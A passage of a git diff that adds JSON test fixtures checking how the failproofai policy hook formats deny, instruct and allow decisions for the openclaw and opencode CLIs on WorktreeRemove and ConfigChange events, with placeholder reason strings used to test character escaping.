a/__tests__/parity/fixtures/openclaw/WorktreeRemove/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d1eac23a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4fb1c21b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/deny__tool-present__two-policies.json new file mode 100644 index 00000000..24fbbbfd --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c89cd606 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..bc6d301b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..8138025e --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6d015ef9 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/ConfigChange/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..fa57e38a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/ConfigChange/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..507df340 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/ConfigChange/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..92668d8a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/ConfigChange/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..4c26a96c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/ConfigChange/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b30ff317 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/ConfigChange/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..26559a6e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/ConfigChange/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..7416615d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/ConfigChange/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f5e5de4e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/ConfigChange/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4aad4b94 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/ConfigChange/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..02e31720 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/ConfigChange/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f489d4ff --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/ConfigChange/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ad8f65a2 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + 